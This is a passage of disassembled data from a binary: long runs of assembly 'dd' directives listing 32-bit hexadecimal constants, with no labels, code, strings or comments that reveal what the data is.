		dd 115A1D4h, 47CC8C0Ch,	0BBE0E860h, 0DBB35F00h,	0B17FF41Ch
		dd 1D70BCh, 836659D5h, 0FBA524C7h, 3C38109Dh, 0CBAA01EEh
		dd 9CB76F87h, 0F0942185h, 0B004E5F0h, 2FDC6180h, 3B385480h
		dd 600A05F2h, 0F0CD09B2h, 6A122474h, 0C003AC6Fh, 0A88B20C6h
		dd 396BC42h, 1AE9D998h,	20966FB2h, 8ACE7538h, 200A011Bh
		dd 8C89F070h, 0DBA3D0C0h, 0CBA88034h, 0F05AC4E0h, 0C0A76307h
		dd 58D0BEEEh, 1F56B4A3h, 41D9E645h, 0C9DB174Ch,	0E9D2D010h
		dd 0B043E098h, 6BB38600h, 0BF32EB2h, 0C080F25Ah, 4A4CEE9Fh
		dd 0F038CDEDh, 0BB09CB51h, 44404523h, 2CB97890h, 2873683h
		dd 42E80934h, 0CCC5E487h, 410005A1h, 0D231D3BAh, 1F4FBF73h
		dd 40BD06A5h, 0C7662BD6h, 0B8A0E778h, 1C189BF8h, 0A2A1BE8Ah
		dd 0FAA81713h, 2EB803D4h, 84BE041h, 0C027840h, 3F196A8h
		dd 0E80AFC9Fh, 9007190Fh, 3CAFA48Eh, 6C0E583Ch,	1F6030BBh
		dd 0A812048Ch, 62B7D4D9h, 0AFF2085h, 0F1004BA8h, 6BE1157Bh
		dd 1DCC195h, 8AAFBE51h,	0F86A5EDFh, 48B98599h, 8423EC0Eh
		dd 6CADC50Ah, 5AC81503h, 7FD0AB50h, 0FD64F2E8h,	0A4D01908h
		dd 15AEAF0h, 2317C3D5h,	0CC42F106h, 0D124B99h, 3C02DB61h
		dd 76876224h, 0C7402ECh, 0A46216FDh, 5A055860h,	7BC2B1C0h
		dd 6E97154h, 0BE4E2924h, 2A9D091Ch, 71008940h, 0BB51E16Eh
		dd 87401DC1h, 98ED80F3h, 5A96ABFCh, 8654DB0Ah, 465C64EAh
		dd 5D1A0013h, 0AF6D7A98h, 11C27C65h, 0E12C74h, 4DA9AD22h
		dd 0A4C9D7h, 0A136DEA6h, 937A023Dh, 0F9E03Ch, 2CA533CEh
		dd 72EEEE2h, 68B3DCA2h,	5F8C08Ah, 8C00B5F5h, 13046AEFh
		dd 1FBEC452h, 896BDE2Dh, 7702918Eh, 2860E412h, 847696A9h
		dd 0F76F3E00h, 89889AE9h, 0EB130070h, 0CCDC9805h, 0AC60EC85h
		dd 4959FC19h, 0CB8100A5h
		dd 7873B209h, 0FFE98E0Ch, 75F2AA88h, 79826600h,	1B69A20Ah
		dd 10B3E017h, 1B09A42h,	215C0E52h, 0A3F08F76h, 15F04Dh
		dd 78ED35Fh, 0E9900904h, 5A4A7C0Dh, 0EDE85870h,	7AFA1F1Dh
		dd 338806Ah, 877F92F5h,	8F19F2F0h, 228810Eh, 0FBB1AE60h
		dd 309F98F0h, 0DF998810h, 0DE1853F7h, 5685AB0h,	0B11F00F3h
		dd 3988797Eh, 82304307h, 514CA060h, 4A801870h, 0ED4F8165h
		dd 58D85E30h, 0E1DF107h, 568841F2h, 887E03A6h, 9F49FE0Eh
		dd 55CB2163h, 0B6E0F6C0h, 194A0A9h, 0E2F302E0h,	0DE968320h
		dd 5473A483h, 84482AAFh, 217FFCEEh, 0DE69CBh, 5EEC4F06h
		dd 54EFC8C0h, 291D01D1h, 0E474AE6Bh, 50513C54h,	42BC055h
		dd 98F7B63h, 680A86F3h,	0F1816E30h, 6C5F030Dh, 0E958A9B9h
		dd 88CCAC1Eh, 7AD71B07h, 0FCB301Ch, 0A1878C64h,	0E95060ECh
		dd 51F54603h, 0CED41BB3h, 0D4674529h, 660036A0h, 4A3A8688h
		dd 5FE31Dh, 81BF44F1h, 0A21AE70Fh, 2D56AE00h, 0FFF6B154h
		dd 0C8D00073h, 686B9334h, 8E00B94Eh, 0D88D2B83h, 72F5A8A6h
		dd 4D281D07h, 0BCCE40F6h, 8D772F8h, 0AB7D3001h,	0B76B2B3Dh
		dd 0A0CCCCh, 0DB53D960h, 98D8E81Eh, 359EAB00h, 2D419519h
		dd 0EBE7B022h, 2664E481h, 204A3E45h, 0E9000D9Ch, 0CC03466h
		dd 59DE7B6h, 0AA0A5B17h, 7E900015h, 0CCBE1FAFh,	0C31ED2F2h
		dd 0A900ACF3h, 0A1E99239h, 0E35400F4h, 4E9697E8h, 253B5E40h
		dd 8070E94Ah, 34EEC4DCh, 57F81458h, 0EF018E1Ah,	81C76A03h
		dd 0EA4770FFh, 0F372BA00h, 36C120B3h, 215F03CBh, 400DC889h
		dd 0EDEC13D8h, 110132F6h, 0A0719F01h, 0E7DC918Fh, 749D3031h
		dd 0AAFEE8A8h, 0B8ABA316h, 4427B100h, 26172h, 608337C8h
		dd 0B023580Ch, 21A61700h, 42462F90h, 674E0071h,	5150CAEEh
		dd 7B00C404h, 9AA01965h, 15D72Bh, 0EABB891Ch, 0B42598B5h
		dd 0D4C27E00h, 1628EFA7h, 0CE051CBCh, 233040DCh, 7899E5E7h
		dd 0B651D602h, 60B931EFh, 0ADA0B8h, 1B0AE264h, 8C958B99h
		dd 0C936500h, 6BFEA143h, 23390073h, 8FFC3BA4h, 950133CAh
		dd 0C3ED8A66h, 11817B1Bh, 0D0B79471h, 38911007h, 0B080063h
		dd 0A6DB3F0Eh, 0AC0006DCh, 0B0F0B28Dh, 241188ADh, 78842Ch
		dd 0E7F80B1Fh, 0D400F4BDh, 33C3E1ABh, 167E8CDh,	8386EF51h
		dd 0ECB70F31h, 57000D5Fh, 0FC2E3F20h, 499C46h, 6E59DD1Eh
		dd 95422BC3h, 0F00CFF6h, 0FE52C20Dh, 104AB7h, 0A158E0DAh
		dd 0F75D6217h, 0AD00ECF2h, 0F9751AEBh, 0FD4CA5Ah, 4DB74F83h
		dd 13338CE0h, 0FA00DAB3h, 0EF8D23EDh, 589BF5h, 0FB0A25D0h
		dd 0D7A5C987h, 833F5200h, 0A993E545h, 25500198h, 3297F43Ah
		dd 0CCECF834h, 2B05D603h, 0A8095A79h, 38EB6AAh,	0D02031DDh
		dd 85894E2Fh, 9E1EC11h,	1600B3FEh, 0ED4205E9h, 3E10D3h
		dd 916F7683h, 8BEFBBDDh, 53B6E400h, 0E93F2C7Bh,	237809h
		dd 979CE090h, 0A2F674E8h, 2A80CD00h, 0D6E51156h, 7B2D000Fh
		dd 36410B06h, 0F8008751h, 88F6045Dh, 0A3AB63h, 168A4769h
		dd 0CF3E2553h, 22A92F00h, 0F0B5E574h, 9D3FF875h, 6B8DBF00h
		dd 0CCE0F3D8h, 0C6B6F500h, 19616A58h, 1227330h,	8C8E55Bh
		dd 0E4527277h, 2600DD2Dh, 0B207D5Ah, 1C31B7Eh, 0DB792A7Ch
		dd 6059910Ch, 9300F7D4h, 0F5B91FC8h, 163544h, 247E7AC0h
		dd 3233150Bh, 0E623F900h, 4A70D8A1h, 7B3D00F1h,	9C5F6A97h
		dd 0AB00ADAEh, 0E1FC6771h, 3F7D5243h, 88000D2Bh, 95D4C654h
		dd 8A00013Fh, 0B465A0D5h, 0B8B00Bh, 5806D609h, 807A10AAh
		dd 0FC53760Fh, 9F80BEB9h, 0C33CD4DFh, 51B607F8h, 0D00D1462h
		dd 97ED5063h, 0F356B303h, 906CD391h, 8DF8F2h, 0A7FE1E3Dh
		dd 0A0A33757h, 2389E200h, 7B1D11F5h, 689E0041h,	62C2E595h
		dd 70008B5h, 8DA2D5DCh,	0F026C3EEh, 0C5D800DBh,	0FE825574h
		dd 3B003AFCh, 411D7C68h, 538999Ah, 0F84EF3DBh, 4A980051h
		dd 57A49569h, 0BFB07E00h, 81F25F24h, 0AAB40036h, 0DB445BBBh
		dd 0B7095056h, 35D6E1h,	8DC23F06h, 95FE4CF1h, 6B116201h
		dd 8452DB60h, 4C436A29h, 0EF5B6BC0h, 0D11B003Fh, 843B71C1h
		dd 0BC128DF9h, 4C000223h, 1711DD53h, 0D46B0039h, 86D0AE04h
		dd 0A0098B0h, 9481E7F4h, 0AF0C82h, 3238C1C5h, 0D22B65FBh
		dd 0CF180A00h, 7DA9B181h, 748A0024h, 15F06D69h,	1E00C01Bh
		dd 4D688F7Fh, 7273DC51h, 278400E6h, 726F7DA3h, 0E5017EC2h
		dd 0FA6B1B50h, 0C620313Ah, 9F8400ECh, 5F5824E8h, 6600BB48h
		dd 9A65F038h, 7368B63h,	0DA3D2C0Eh, 0EDF130C8h,	0D6005B8Eh
		dd 3A3B25FEh, 9C297Ah, 1C37635Ch, 0E8562665h, 0E691DA00h
		dd 0B5C6827Eh, 2AF600CDh, 0E4BF522Bh, 8A00A698h, 3CD38BCEh
		dd 60AED8h, 81FDCBEBh, 0ABA774F1h, 1B937D00h, 9109575Eh
		dd 0F6140E65h, 750CD18Dh, 0C3006D20h, 0CC8A80Fh, 9441274h
		dd 648461DFh, 0D83BC00h, 1A00E0D6h, 0E95B1B95h,	0ECB20467h
		dd 0F0EE0743h, 0E04EF8C4h, 0D77BC1C2h, 7637830Eh, 20E86069h
		dd 9DE2B6h, 9598DBDFh, 4D700457h, 2A2F0F07h, 0C3A0C5FBh
		dd 7A24B2BAh, 446E0379h, 0BBB4EE4Ah, 810A71DBh,	0F842ACF7h
		dd 9167C280h, 97FA6FFh,	58292B92h, 87A41083h, 9DA705C0h
		dd 1895F628h, 24A0BC76h, 230E67F1h, 875FEE47h, 80B9FA4Ch
		dd 4E0E24CBh, 39F026EBh, 0B3B600E8h, 51CDC040h,	6AD3B200h
		dd 7B95746Dh, 0F490006Eh, 0BCEBDA21h, 0FF00D21Dh, 0C98EB802h
		dd 1BFECBF8h, 70367145h, 0BC7790C0h, 8057A8CCh,	45FC3C76h
		dd 88215630h, 6B8A477h,	44262C0Dh, 0C0FB98ECh, 0DD7F3FB3h
		dd 727C08C0h, 0B80C5744h, 0F49846C8h, 40984204h, 0F80D634h
		dd 473356h, 0AA0361Ch, 8DAADB93h, 0E0EC605Eh, 0EB3B800h
		dd 0A140287Ah, 1104B601h, 44983692h, 0F8CA06Fh,	698A8700h
		dd 0B6CF7F53h, 0BF1B0207h, 0D8575C95h, 0BBBD440h, 0C741D70Ch
		dd 0E2FFA17Ch, 7800063h, 0C8E4EEFEh, 0C530FD52h, 7E3D2192h
		dd 7D91039Dh, 0AD6D4133h, 8F2B34D0h, 29BD7801h,	0BEFAAFC2h
		dd 0B02E88D8h, 0C9691538h, 2A07E03Dh, 0CCDBA8C2h, 0AEE04511h
		dd 8219721Ch, 92796341h, 0B05050EDh, 0CBA935h, 7A5291F6h
		dd 12D1564h, 80247748h,	389C088h, 26BC5846h, 0F20ABE1Ch
		dd 0C4232570h, 84B9007Dh, 0D87E86B2h, 0B002D22Ch, 5F40970Ah
		dd 4EA881F8h, 3C40F592h, 0CB724Ch, 62B1D21Eh, 0FE109DC2h
		dd 4550CC00h, 668571E6h, 8CF60E1Dh, 9B801ACDh, 9CB80EB6h
		dd 5FFC2918h, 730820A1h, 34180C5Eh, 0A88986C7h,	12471100h
		dd 0C35C2CDh, 1F3B07EDh, 0C4FE1DEAh, 9C00803Ah,	5F0082D9h
		dd 428529D1h, 2C55FBFCh, 13176A62h, 0A68E0030h,	0EC881F17h
		dd 0E1695800h, 7840CD55h, 633407EDh, 408337B7h,	0B46AEF46h
		dd 11C80600h, 9EB81B8h,	6208CCB0h, 7C004321h, 0ECA69906h
		dd 18916B51h, 58D520EEh, 9206A23h, 805E0C5Ch, 0B460EF45h
		dd 6B5048Ch, 628011C9h,	7D4C2065h, 24989606h, 0F800D0ECh
		dd 984EAFB8h, 2549C428h, 0C3F06172h, 3CF30C9h, 1F108C49h
		dd 0F8A5DF80h, 94F429C0h, 30C77998h, 3DB38AB9h,	423948F0h
		dd 56AA2C00h, 6E624F86h, 0DB084E66h, 20AC0021h,	0DEA94124h
		dd 0A1185B93h, 8AA067B1h, 43B30094h, 2F971D6Fh,	0A7013221h
		dd 0F410D890h, 384295A9h, 242230B3h, 4E569111h,	0AF81DC88h
		dd 53D241Bh, 50DE28D0h,	18CB9C1Fh, 0D0604D5Dh, 3E3C240Bh
		dd 294C3Bh, 5896EBDh
		dd 3BBF1CFCh, 0E580834Ah, 3F8A86ACh, 6C002202h,	52B0AE12h
		dd 35FA77h, 0D1033158h,	9F5E675Ch, 8B613A09h, 0C0B68F53h
		dd 6F2095Bh, 17F252h, 32B91405h, 7C81B56Eh, 9539FE00h
		dd 7A603CEh, 631800E5h,	91461B09h, 64172582h, 0A74h, 6FE7978h
		dd 431D115h, 684DFEB0h,	428D10C0h, 0E0170DD1h, 0FD8200C5h
		dd 21582695h, 0FE00CC63h, 8B67C18h, 0C4D5688Dh,	447FB129h
		dd 185334DBh, 0EA142925h, 0D708AD89h, 84E03844h, 42E30C22h
		dd 42847DD9h, 44683BECh, 0BC804475h, 84E83744h,	42E7B922h
		dd 4C291161h, 0E72CB422h, 0CB002FD6h, 7C0F96F0h, 71720014h
		dd 0CF4B7F60h, 2B00133Eh, 65ACAF2Eh, 0C70F31h, 62EE8E46h
		dd 8E814FEh, 9B4E5D03h,	0D0C940A3h, 0E58960F1h,	32384E8h
		dd 0E5B0D0E7h, 0EFE84905h, 6300F9B8h, 0CB338C54h, 4F70C1h
		dd 3DF6FB73h, 6BAFE578h, 0B4085613h, 0E6C12A1Eh, 2B6C27D0h
		dd 23F8D2D5h, 461407B9h, 60617E77h, 0F6B21CF2h,	688AE704h
		dd 0BCC35F6Dh, 7216A843h, 79520024h, 48A51A06h,	590C34A8h
		dd 802EC2DAh, 9547006Ah, 5A7F7770h, 0FE01F4D0h,	0A884874Fh
		dd 1980D2DFh, 0C00D366Eh, 182EA038h, 4701FC29h,	87300EE6h
		dd 0BE9B80E7h, 68ED006Bh, 0C3CFB263h, 59097394h, 2056D53Ch
		dd 0F79A8D34h, 17581209h, 17400F4h, 9226BD99h, 7625F000h
		dd 0CE75CC02h, 0A8B20E48h, 0F77313h, 0C495309Eh, 0E001ED6h
		dd 0B9C2D38Fh, 96E1Ch, 0A2C6542Bh, 1FE48AFBh, 0DC75C700h
		dd 0DB4C4D3h, 4BC0ECB3h, 769B085h, 78CF5924h, 2F3C7D00h
		dd 0EAC9AAFBh, 14B33A1Fh, 4296D880h, 18BE4433h,	0D50056F6h
		dd 155A7EEEh, 0A066C4h,	780AD872h, 71FA4130h, 6C20C700h
		dd 0C0267932h, 517E2AAh, 5B828C23h, 0ADFC40B7h,	90489F8Dh
		dd 68B2AF00h, 0CCD87337h, 70C0A091h, 0C40B0C49h, 39109084h
		dd 0BD262E12h, 9033FB8h, 34210F73h, 0A2274598h,	3BCCAA00h
		dd 0DA65FDA5h, 0FB010061h, 0A068F2E4h, 8000DB2Ch, 83E9503Ch
		dd 32896Dh, 0F7E70C33h,	0EC717BA9h, 0D1840E01h,	898C462Dh
		dd 1EFA1CCh, 9BCF2A26h,	40254B30h, 0CAB265D1h, 13240C00h
		dd 1494EDBBh, 90A03081h, 6A39EE34h, 98CF38h, 0DDE33B80h
		dd 5539BC9h, 6D223AFDh,	93F8005Bh, 57E86E83h, 0C4421C00h
		dd 0A42EC73Bh, 75B072Dh, 0F70F0BA2h, 11E7C182h,	0F1A02064h
		dd 0CF7A6100h, 0F57425CAh, 572201C8h, 0CB1CBCDFh, 0AC40FE86h
		dd 0FB3C30FAh, 1FECCCE6h, 5740E496h, 62AEF528h,	70E0006Dh
		dd 0BBC6599Dh, 3D0433CCh, 0EE178608h, 56A0A487h, 77C0D9A0h
		dd 712D01EFh, 0A9C87BE2h, 91C88078h, 9D43DA87h,	1D86003Fh
		dd 6AFEDEE8h, 3D00C319h, 0E7A358FCh, 225A01h, 176DF645h
		dd 7D16C257h, 51BFFE01h, 14ECC1AEh, 99AA7C20h, 62150000h
		dd 0A04C4108h, 0AC7348h, 51953846h, 7B698E79h, 4A013C71h
		dd 0B49FC281h, 0FC8CCDE5h, 0D63F2B22h, 3CAF80ABh, 277D9909h
		dd 0ACEE00F8h, 0D53D71C4h, 4400D37Fh, 0EDA64717h, 0F0DE6C0h
		dd 8BE1C888h, 8F19DBA1h, 46642072h, 0C1C3B303h,	0F9F493C7h
		dd 0DC204B49h, 139A000Eh, 0E2EE3347h, 253F1D56h, 0D4BA81B8h
		dd 0A26A5A0Fh, 3C1CBF20h, 6087B5CAh, 0C06573B3h, 0BBB49EBEh
		dd 47A1D100h, 842DE942h, 0EDB9062h, 3B8F82CEh, 0DE6D5FA1h
		dd 8750D889h, 443D6C00h, 2B9B4621h, 0CA271DC1h,	46E99h
		dd 89034BDCh, 0EF0076BBh, 0C65CB57Fh, 50985Eh, 428B5A24h
		dd 13F76A35h, 0E69D8602h, 40539983h, 772FE5A0h,	47A005Eh
		dd 0C96D393Eh, 2D00625Dh, 55776002h, 0F150F4h, 58ADBF0Dh
		dd 753966Bh, 0EF4C048h,	0F38DA173h, 0AFD91030h,	59260040h
		dd 2D6A792h, 56FC8898h,	8949D00Ah, 1107E43Eh, 7800C736h
		dd 0ACC222h, 6723F44h, 5248B492h, 0BB011D03h, 83F6D3A5h
		dd 0E799A99Dh, 0FEDEC3D0h, 0C8A804A1h, 80DCD746h, 2E977B50h
		dd 1BD28300h, 523D88DEh, 102F072Ah, 0A0EDD920h,	0C011E2B4h
		dd 0C11F6AF8h, 5D564628h, 9687E440h, 70A4BCFFh,	25830373h
		dd 18E467ECh, 0E756CDC8h, 421E7200h, 8E103B1Fh,	78A601AAh
		dd 65CE85B7h, 11F0DBD6h, 190038EEh, 97713335h, 184B4Eh
		dd 57F13746h, 0C0393F9Ah, 0C2E41500h, 0D71238Eh, 0BAA80095h
		dd 24493B5Bh, 380009BFh, 325A123Ah, 0D269D8C3h,	44C6A8A1h
		dd 220EA99Ch, 0ACA5AF6Ah, 4B8847h, 0AED96242h, 0A86B6C11h
		dd 7949D72Ch, 0C8072712h, 12A01045h, 0B4673Dh, 4C62C453h
		dd 0F954C5C7h, 0B04B900h, 0EB79ED97h, 0D17000E9h, 0B31A7365h
		dd 0FE75E5BBh, 0B1E1AA1Ch, 89A39300h, 0EC387FE3h, 0D82E006Ah
		dd 0F2CAC2A4h, 0AF13491Eh, 64005DE0h, 6E3DD3D6h, 0C298C5h
		dd 15C94E6Ch, 11C09DA7h, 4F368E13h, 6B9CC800h, 2CBE8705h
		dd 1354042Dh, 6C700075h, 0FA7381EFh, 0C0ACF909h, 7DB8006Fh
		dd 32E570h, 6BB0B58Eh, 1F499821h, 2AB98102h, 0C06FD1E3h
		dd 881A50A0h, 0FF24E8F7h, 0B7007456h, 23713D06h, 0E1D009Dh
		dd 604270EDh, 0C00464Ah, 18C88F6h, 391DB96h, 0BBFA72B7h
		dd 0A8009AD0h, 0F87AFE92h, 3A563170h, 0E4D84DC2h, 82F6BA00h
		dd 0F3E71BF9h, 4E1377F2h, 7C036D75h, 2418102Dh,	1306E88h
		dd 0D2ECB36Ah, 5070DCFDh, 0C8628A00h, 15F2804Bh, 5B41133Fh
		dd 14FC0049h, 57300F93h, 0B774F409h, 17200045h,	0A075E9h
		dd 0B28E1A7Bh, 0CD2FD8AAh, 0BD3BA700h, 34D610F8h, 1E9E0028h
		dd 962002F4h, 1D00CF29h, 86749D68h, 857722h, 0E83CA22Bh
		dd 324606Ah, 619B00BDh,	0C6DCBBh, 0DA34CC9Eh, 35E0E179h
		dd 1DC5C24Ch, 0E2027DFBh, 0C876DE32h, 0F0657B0h, 0A59A1F14h
		dd 96537E60h, 0A8245DA2h, 86015C39h, 6D1F16F6h,	18B30BE8h
		dd 74F0B442h, 200CEF3h,	0A3AE4C5Fh, 7AD4406Eh, 0B7C700A0h
		dd 0B32AAF3Dh, 4728DD9h, 0FC5A831Fh, 9E1EA8C0h,	3A0C16CEh
		dd 3DA6F55Eh, 4E958738h, 34C0AF3Eh, 17AD8DC3h, 8BA03Ch
		dd 12CAA944h, 14338FDFh, 9021169Ah, 1ED5EF17h, 424587C4h
		dd 6FF75008h, 400A3D1h,	0C2F0F3CFh, 0E61ED06Dh,	0ACE70098h
		dd 2BE639D3h, 3F28E969h, 0BA1E84DFh, 4E012593h,	0DACFD3ADh
		dd 0F9B840E2h, 0C4E0E1h, 0E67BAA15h, 3207C251h,	1006A7Ah
		dd 0CB259547h, 8C43F0h,	92454237h, 0BC3B3E82h, 97C00A00h
		dd 0C393F366h, 119AA0FEh, 6F680EABh, 89C0BD6Ah,	5A5D38E1h
		dd 98B2ADEEh, 0FE96DE03h, 0C02A40A4h, 1CE4CBF5h, 0EF1180h
		dd 0EB15DBDFh, 0ECF4E68Eh, 68F848h, 0AD0B2D26h,	3F251Eh
		dd 0D5A30331h, 963EC2F9h, 60FF107Bh, 0AD1285D0h, 0A821AE4Eh
		dd 97E4D3D9h, 1FA9754Fh, 0A69F24h, 403C9266h, 99137EF5h
		dd 9020540Dh, 4CCA93h, 0C4C01001h, 2773144Dh, 82895D01h
		dd 21047EF6h, 60ED7DCCh, 2136060h, 0D40067EFh, 0B843C29Ch
		dd 0E424AD47h, 22870FE4h, 3E7888Bh, 0A49137BAh,	0E2A5C01Ah
		dd 4A004DFDh, 4873F4A6h, 3D5FD7A3h, 6009D3Ch, 7A60889Fh
		dd 33FA77B0h, 8000D174h, 0F041AFB4h, 0B8C65A65h, 961A2664h
		dd 45AB0185h, 0DC95D57Bh, 0F5E01258h, 7C6FDF0Fh, 1FC22048h
		dd 0BF1056h, 5EA6925Ah,	25EA9E85h, 668B158h, 0B6E76888h
		dd 0F61B0019h, 0A6164C94h, 96B01147h, 0A0349F00h, 2190157Fh
		dd 325C3924h, 33DFF183h, 54A085ADh, 3F00A46Dh, 796306BEh
		dd 3EE241Ch, 8232A10Dh,	19E8907Fh, 0D03F052Bh, 0C452806Fh
		dd 76D8ED93h
		dd 0FE580369h, 0AA0161DDh, 755C07D8h, 68E6D1F0h, 4B0EFBF0h
		dd 0A0803740h, 53497B14h, 976D01DFh, 718AD7DDh,	82A7FCA1h
		dd 592829E4h, 0D15CCC58h, 0C5E7C4FCh, 0CC80B414h, 0B3A50CCAh
		dd 64446B01h, 35C50EF5h, 9887BC34h, 7B0C2C98h, 6ACA4030h
		dd 0E031954h, 1C125BB2h, 80AEA75Ch, 0B18DA250h,	0B53900FBh
		dd 36AFF8D3h, 6F3D19A3h, 23790028h, 2BBF7225h, 0D8010165h
		dd 506CBB7Ch, 0A25FE030h, 9E0FC200h, 0E20542E9h, 436A00A0h
		dd 38DF1B5Dh, 0F800A1ECh, 0E3C37F6Dh, 0E46E8Ch,	1B471D5Bh
		dd 3DB3A28Fh, 75CE8600h, 9BA5696Ch, 852400B1h, 4BFE46Fh
		dd 1F6293B9h, 6115F5C4h, 68819B6Ch, 2820E712h, 4A1D05Bh
		dd 8092B225h, 0A3B82707h, 51000D3h, 675681C1h, 0F900867Eh
		dd 2F10833h, 1EE99FF3h,	8066783Bh, 108CBCEFh, 0E0006B6Ah
		dd 8B3953C4h, 169E6F70h, 0EB05E245h, 80F27109h,	0E4E5AF7Ch
		dd 0D9B500B9h, 0F35E8151h, 507CCC7Ah, 4D1D581Ch, 8C4AE88Bh
		dd 249EFA95h, 16A4715Eh, 7E680037h, 0DBE9B619h,	0A800EFEAh
		dd 3DB94418h, 48FCADh, 0BE5A6DD6h, 5DF607EBh, 86507A00h
		dd 44A842D2h, 1ADD0158h, 8EFA6931h, 8DDEF47Dh, 0ADC44300h
		dd 0C598037Fh, 1B670F39h, 0FE401474h, 4D40095Eh, 23F6500h
		dd 0DDB35637h, 50CCA0EDh, 53BA0FC2h, 0DA801DD9h, 542CA7D5h
		dd 5BEF250Bh, 51849182h, 0B07DE020h, 27750119h,	0D82B2199h
		dd 0A44820E6h, 721458h,	50F2DB66h, 608FBCF7h, 87DE56A0h
		dd 6B00A812h, 4E723946h, 6A68DBh, 601C43AEh, 0E90417Dh
		dd 587FFF24h, 7E631Fh, 68EE8F94h, 2CCE579h, 7C53F078h
		dd 0F4607EE0h, 60032C9Ch, 9A0675DBh, 66380080h,	0BDD16EEDh
		dd 0B0074759h, 8A77C3D6h, 3900EC0h, 56EF2664h, 78CB0294h
		dd 44C0E315h, 1D1F46B5h, 1E41AE62h, 0C92CB492h,	7AC020h
		dd 0AC27517h, 548AB1E3h, 0E9D88800h, 18F48C47h,	0B28FA3CFh
		dd 10D4E0D3h, 9BE20086h, 0F4B04E94h, 7E09B243h,	8027F726h
		dd 0A8BB3058h, 0C8332697h, 8B983CF2h, 81F7B83Bh, 0DFAC7E00h
		dd 9D9E6193h, 20905Fh, 0B982C78Fh, 34923ACDh, 41222900h
		dd 0DBA871BCh, 0B75D00F5h, 75A48BEAh, 0F607EC0Bh, 0CF655C6Dh
		dd 0BE439867h, 4E02B099h, 0B79D00CAh, 64B90610h, 6B007ED3h
		dd 2EB2E74Bh, 0C1A66F3Ch, 8FA33E11h, 41B32077h,	0D5ECF316h
		dd 0E0EDB882h, 0E2AB8ECCh, 0A07C0020h, 3F44712Ch, 70B80894h
		dd 0F9783C16h, 0F3FC7012h, 49460916h, 60992D5Ch, 895064BBh
		dd 0AD7C5B00h, 45DCEC7Ah, 0C4020010h, 0BC2D810Dh, 0D2006297h
		dd 91DF803Ch, 60FC4167h, 0CAF28820h, 19074782h,	7DE88710h
		dd 910C3F30h, 2E1D0BE3h, 4800E06Ah, 4C504BBAh, 30BF1A00h
		dd 0F9DFB69h, 118F805h,	4FD6AE09h, 0C52A542Dh, 326C70A2h
		dd 8AEB7100h, 0ADB75F1Ah, 2ACB40Bh, 86EA0DA9h, 83B63361h
		dd 0D5CD42E0h, 0F32B841h, 24457F03h, 9F78F1h, 3A922EFEh
		dd 5E00DB52h, 6B717EE6h, 72E9B5h, 1C5CB43Bh, 6DA507D6h
		dd 0D85FA300h, 0AA513A50h, 0BE2601E2h, 81926B4Ah, 49D7C473h
		dd 0D87EDD00h, 3BB8E337h, 787A0114h, 91BB250Ah,	38082DF2h
		dd 0A01380ADh, 6BB184BFh, 8D470324h, 18544ECBh,	0C829C4B9h
		dd 0A1005ED6h, 0D19E1AFh, 7017439Fh, 62FA02E4h,	5CD8D470h
		dd 51EDC50h, 0A00063E3h, 3BCC5FC6h, 0B14000A1h,	8F1E7BEFh
		dd 0FF0E5C0Ch, 1E9553BEh, 0DE753740h, 6E5201h, 4DB7F8C2h
		dd 7053EB9Fh, 24E991Dh,	7E608940h, 1E773B4h, 0CEF7DFD0h
		dd 0C51AACADh, 863C0F5h, 0ED3FF8A0h, 22344B10h,	8AB2DA00h
		dd 6F38C13Ch, 80A5E739h, 0CBD88467h, 722645h, 0C3C60248h
		dd 23C43843h, 6118A700h, 0FCF78603h, 0F18000E1h, 157B1EA6h
		dd 1220324Ch, 595A00C9h, 0B72F3CE3h, 70B668FCh,	9A4D401h
		dd 0D038B26Ah, 86F5FA01h, 0E499A6DFh, 0D1009FDBh, 926096E6h
		dd 0CA3CA2h, 87F0B17Ah,	94317488h, 0BF8A3800h, 1AC2D551h
		dd 724D90ADh, 0F0A7016Ah, 0D265158Bh, 0BF0CC4DEh, 0A9349300h
		dd 9CCDDF9Dh, 0C3461D0Eh, 431E8031h, 990816B0h,	0B0C1293Bh
		dd 0BCC8DA98h, 268B0EFh, 55316694h, 9480046Bh, 2D7CE7D8h
		dd 9E5A93Eh, 80E96C1Bh,	770830CCh, 34120081h, 3342AA94h
		dd 35FCBBF7h, 1488B200h, 0C4FE52E4h, 32A40084h,	81F1BCAEh
		dd 0D803A113h, 6AAAC872h, 35D9819Ch, 0DC4DC8h, 6C5C8CD0h
		dd 1384119Dh, 0F0DEE401h, 0BAA4A11Ch, 1DCC33C4h, 0A76235h
		dd 16E82258h, 0FD0114A5h, 0D3D4AC39h, 69F4033Eh, 0DE8C017Ch
		dd 0B2A1BFF7h, 3D4DD087h, 11563Eh, 7952002h, 315F73h, 0CAA5C032h
		dd 0B4839606h, 0B928A207h, 0D3F0101Bh, 13E1D4A6h, 3C27A3Ch
		dd 0A35E1E58h, 7ED8B3D3h, 0C50067B8h, 7A05AD77h, 2A78AD5h
		dd 766B35DDh, 3CF24463h, 4A00367Ah, 50133207h, 0C20A01h
		dd 0E7852C2Eh, 357E92C6h, 0E4688602h, 87072A5Eh, 0C8C953BCh
		dd 0A0CD58h, 9A8D6635h,	0CCCEAD54h, 11777E00h, 6BDEFF0h
		dd 4BF11C4Dh, 6A07FC5Ah, 208B9CF3h, 3E9E8E62h, 0DC27D813h
		dd 48592C88h, 190E4B7Ah, 0D0721BE0h, 5A244824h,	2DE29200h
		dd 39597BC8h, 90DB04EAh, 0E304A8F8h, 86C7BC00h,	0E5F35301h
		dd 0E4F41180h, 2D01343Ch, 8FBE2050h, 13108F46h,	29656D7Eh
		dd 222BF4h, 8CE91F42h, 0FBCE8909h, 81DEF50Bh, 0A4260179h
		dd 1170C93Bh, 57FF00BEh, 0C24E2F8Dh, 0D600840Dh, 20BD3803h
		dd 0F8B7A434h, 0AEE053Ch, 81327EA8h, 506B4634h,	557A39E4h
		dd 0E62C2022h, 0DE2300BDh, 0E025D07h, 80057CAh,	0EF77E8EEh
		dd 92C769h, 0F98143ABh,	6D7442A2h, 2F149EE0h, 0BD435E3h
		dd 2E6130h, 5FE8944Ch, 0CC570B7Dh, 8019370h, 95B581h, 8DECFAh
		dd 0D1530D4h, 0A7F5E5B3h, 97C46A00h, 47B9F681h,	42D61DB4h
		dd 6C2F805Ah, 967DD504h, 0E6F5EA16h, 53BCD3h, 0FC09D9F4h
		dd 7456C088h, 0B100F172h, 93584514h, 0D38F08h, 0F3FF3847h
		dd 49D4B70Fh, 0B5957800h, 5AB4D68Ah, 567E0567h,	0C01FE4D1h
		dd 92EC4534h, 0ED733200h, 8AA33B68h, 0F5AB00B3h, 194D9C77h
